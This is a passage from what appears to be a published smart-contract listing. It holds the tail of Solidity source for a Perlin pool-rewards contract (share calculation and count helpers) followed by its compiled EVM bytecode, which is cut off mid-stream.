> 0) { // Requires non-zero balance of the pool tokens claimShare = getShare( memberClaimInEra, totalClaimsInEra, poolShare ); } else { claimShare = 0; } return claimShare; } //==============================UTILS================================// // Get the share of a total function getShare( uint256 part, uint256 total, uint256 amount ) public pure returns (uint256 share) { return (amount.mul(part)).div(total); } function adminCount() public view returns (uint256) { return arrayAdmins.length; } function poolCount() public view returns (uint256) { return arrayPerlinPools.length; } function synthCount() public view returns (uint256) { return arraySynths.length; } function memberCount() public view returns (uint256) { return arrayMembers.length; } }
0x608060405234801561001057600080fd5b50600436106102f15760003560e01c806361d027b31161019d578063a230c524116100e9578063e4ebdfa5116100a2578063ed06d4e21161007c578063ed06d4e21461132e578063f525cb68146113b4578063f96e9ea1146113d2578063fa8f382a14611434576102f1565b8063e4ebdfa5146111ec578063eb76595514611268578063ec7d7199146112d6576102f1565b8063a230c52414610fec578063baff15ce14611048578063c251adeb146110b6578063ce110e4b14611100578063ddd5e1b214611158578063e07dbfbd146111a6576102f1565b806378a45a241161015657806387e2662e1161013057806387e2662e14610e965780638b5e608b14610ef2578063973628f614610f4a578063a19d164614610f68576102f1565b806378a45a2414610dd85780637f2277b414610df6578063845696b414610e52576102f1565b806361d027b314610c1457806369b3039814610c5e5780636ea056a914610cb45780637048027514610d0257806371586b1f14610d4657806375829def14610d94576102f1565b8063322e26041161025c5780634445c1ea116102155780634a5cab98116101ef5780634a5cab9814610a885780634dd85b5e14610ad6578063522cff2514610b385780635976c67c14610b90576102f1565b80634445c1ea1461093657806344d3d337146109a457806344d7e45514610a06576102f1565b8063322e26041461067057806332bc68be146106d25780633d23e24a146107405780633e66034f146107b8578063429d7e8f1461083a578063436f80be146108c8576102f1565b8063282d3fdf116102ae578063282d3fdf146104b45780632b7832b3146105025780632f6c493c14610520578063306faf4a1461056457806331405c03146105a85780633224e2f21461060e576102f1565b80630382ad26146102f657806311aee3801461035857806316d534711461037657806324d7806c146103d2578063265121601461042e57806326b8052914610472575b600080fd5b6103426004803603604081101561030c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c2565b6040518082815260200191505060405180910390f35b6103606115b1565b6040518082815260200191505060405180910390f35b6103b86004803603602081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115be565b604051808215151515815260200191505060405180910390f35b610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115de565b604051808215151515815260200191505060405180910390f35b6104706004803603602081101561044457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115fe565b005b61049e6004803603602081101561048857600080fd5b81019080803590602001909291905050506116e8565b6040518082815260200191505060405180910390f35b610500600480360360408110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611700565b005b61050a611f4e565b6040518082815260200191505060405180910390f35b6105626004803603602081101561053657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f5b565b005b6105a66004803603602081101561057a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612416565b005b6105f4600480360360408110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612530565b604051808215151515815260200191505060405180910390f35b61066e6004803603608081101561062457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061255f565b005b6106bc6004803603604081101561068657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a3b565b6040518082815260200191505060405180910390f35b6106fe600480360360208110156106e857600080fd5b8101908080359060200190929190505050612a60565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107a26004803603604081101561075657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a9c565b6040518082815260200191505060405180910390f35b610824600480360360608110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ac1565b6040518082815260200191505060405180910390f35b6108c66004803603608081101561085057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c2b565b005b6108f4600480360360208110156108de57600080fd5b8101908080359060200190929190505050612f42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109626004803603602081101561094c57600080fd5b8101908080359060200190929190505050612f7e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109f0600480360360408110156109ba57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fba565b6040518082815260200191505060405180910390f35b610a7260048036036060811015610a1c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fdf565b6040518082815260200191505060405180910390f35b610ad460048036036040811015610a9e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613011565b005b610b2260048036036040811015610aec57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130f3565b6040518082815260200191505060405180910390f35b610b7a60048036036020811015610b4e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613118565b6040518082815260200191505060405180910390f35b610bd260048036036020811015610ba657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613130565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c1c613163565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c9e60048036036060811015610c7457600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050613189565b6040518082815260200191505060405180910390f35b610d0060048036036040811015610cca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506131b9565b005b610d4460048036036020811015610d1857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133d2565b005b610d9260048036036040811015610d5c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061364e565b005b610dd660048036036020811015610daa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506139d4565b005b610de0613ca8565b6040518082815260200191505060405180910390f35b610e3860048036036020811015610e0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613cb5565b604051808215151515815260200191505060405180910390f35b610e9460048036036020811015610e6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613cd5565b005b610ed860048036036020811015610eac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614257565b604051808215151515815260200191505060405180910390f35b610f3460048036036020811015610f0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614277565b6040518082815260200191505060405180910390f35b610f5261428f565b6040518082815260200191505060405180910390f35b610faa60048036036020811015610f7e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614295565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61102e6004803603602081101561100257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506142c8565b604051808215151515815260200191505060405180910390f35b6110b46004803603606081101561105e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506142e8565b005b6110be6147ed565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6111426004803603602081101561111657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614813565b6040518082815260200191505060405180910390f35b6111a46004803603604081101561116e57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061482b565b005b6111d2600480360360208110156111bc57600080fd5b8101908080359060200190929190505050614e46565b604051808215151515815260200191505060405180910390f35b61124e6004803603604081101561120257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614e66565b604051808215151515815260200191505060405180910390f35b6112946004803603602081101561127e57600080fd5b8101908080359060200190929190505050614e95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61132c600480360360608110156112ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050614ed1565b005b61139a6004803603606081101561134457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614fbf565b604051808215151515815260200191505060405180910390f35b6113bc614ffb565b6040518082815260200191505060405180910390f35b61141e600480360360408110156113e857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050615008565b6040518082815260200191505060405180910390f35b6114806004803603604081101561144a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061502d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600090505b601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156115a7576000601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061155d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611595858583612ac1565b830192505080806001019150506114ca565b5080905092915050565b6000600680549050905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6116c981600754613011565b6116df600160075461507890919063ffffffff16565b60078190555050565b600e6020528060005260406000206000915090505481565b60026000541415611779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260008190555060011515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4d757374206265206c697374656400000000000000000000000000000000000081525060200191505060405180910390fd5b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611954576006339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119fe576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c5857611adf6001601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611d1357600080fd5b505af1158015611d27573d6000803e3d6000fd5b505050506040513d6020811015611d3d57600080fd5b8101908080519060200190929190505050611dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b611e4f81601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eda338383615100565b6007548273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f26c1d455ed5e9a313ff262b6cd70a49110f54a2a68591881424ade0176624983846040518082815260200191505060405180910390a460016000819055505050565b6000600380549050905090565b60026000541415611fd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026000819055506000601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081116120d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374206861766520612062616c616e636520746f20636c61696d0000000081525060200191505060405180910390fd5b6000601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156121dc57600080fd5b505af11580156121f0573d6000803e3d6000fd5b505050506040513d602081101561220657600080fd5b8101908080519060200190929190505050612289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561230857600080fd5b505afa15801561231c573d6000803e3d6000fd5b505050506040513d602081101561233257600080fd5b810190808051906020019092919050505014156123a2576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6007548273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffc457b903eae2c3f6e2d259cccaae44e68f974c0c77dda2f7877aa4ed140d5c6846040518082815260200191505060405180910390a450600160008190555050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601b6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661261e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156126c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f41646472657373206d757374206e6f742062652030783000000000000000000081525060200191505060405180910390fd5b60016007540383101580156126d857506007548311155b61272d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180615b2a6024913960400191505060405180910390fd5b6000612838600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156127ef57600080fd5b505afa158015612803573d6000803e3d6000fd5b505050506040513d602081101561281957600080fd5b81019080805190602001909291905050506152c590919063ffffffff16565b9050600081116128b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e74206d757374206265206e6f6e2d7a65726f00000000000000000081525060200191505060405180910390fd5b61290281600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129a8816010600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b6010600086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600f600086815260200190815260200160002060006101000a81548160ff021916908315150217905550612a348482858561530f565b5050505050565b6012602052816000526040600020602052806000526040600020600091509150505481565b60048181548110612a6d57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6019602052816000526040600020602052806000526040600020600091509150505481565b6000806012600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006013600087815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115612c1957612c12828285613189565b9350612c1e565b600093505b8393505050509392505050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612cea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612e42576005839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612e4d8484836142e8565b81601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f4e351dd0f3a8cc5682178a81d960be19d454f9fe874a9d4f0753caae5685900060405160405180910390a450505050565b60068181548110612f4f57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038181548110612f8b57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6010602052816000526040600020602052806000526040600020600091509150505481565b601c60205282600052604060002060205281600052604060002060205280600052604060002060009250925050505481565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600080905060006130df614ffb565b90506130ed8484848461255f565b50505050565b6011602052816000526040600020602052806000526040600020600091509150505481565b600c6020528060005260406000206000915090505481565b60156020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006131b0836131a2868561583990919063ffffffff16565b6158bf90919063ffffffff16565b90509392505050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561332157600080fd5b505af1158015613335573d6000803e3d6000fd5b505050506040513d602081101561334b57600080fd5b81019080805190602001909291905050506133ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b5050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561351e5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b613590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b6003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661370d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60006010600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006010600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061380a81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600f600085815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561392257600080fd5b505af1158015613936573d6000803e3d6000fd5b505050506040513d602081101561394c57600080fd5b81019080805190602001909291905050506139cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b505050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015613b205750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b613b92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b6003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600580549050905090565b60096020528060005260406000206000915054906101000a900460ff1681565b60001515601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060009054906101000a900460ff16151514613d91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615ab7602c913960400191505060405180910390fd5b60008090505b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156141e8576000601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613e2a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050613f4b601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460136000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b60136000600754815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061411b8160136000600754815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b60136000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007548273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f1c6cf7f4185192b90e5dbc6c1030559d3a499bc798a5fd775870659fe4e254c4846040518082815260200191505060405180910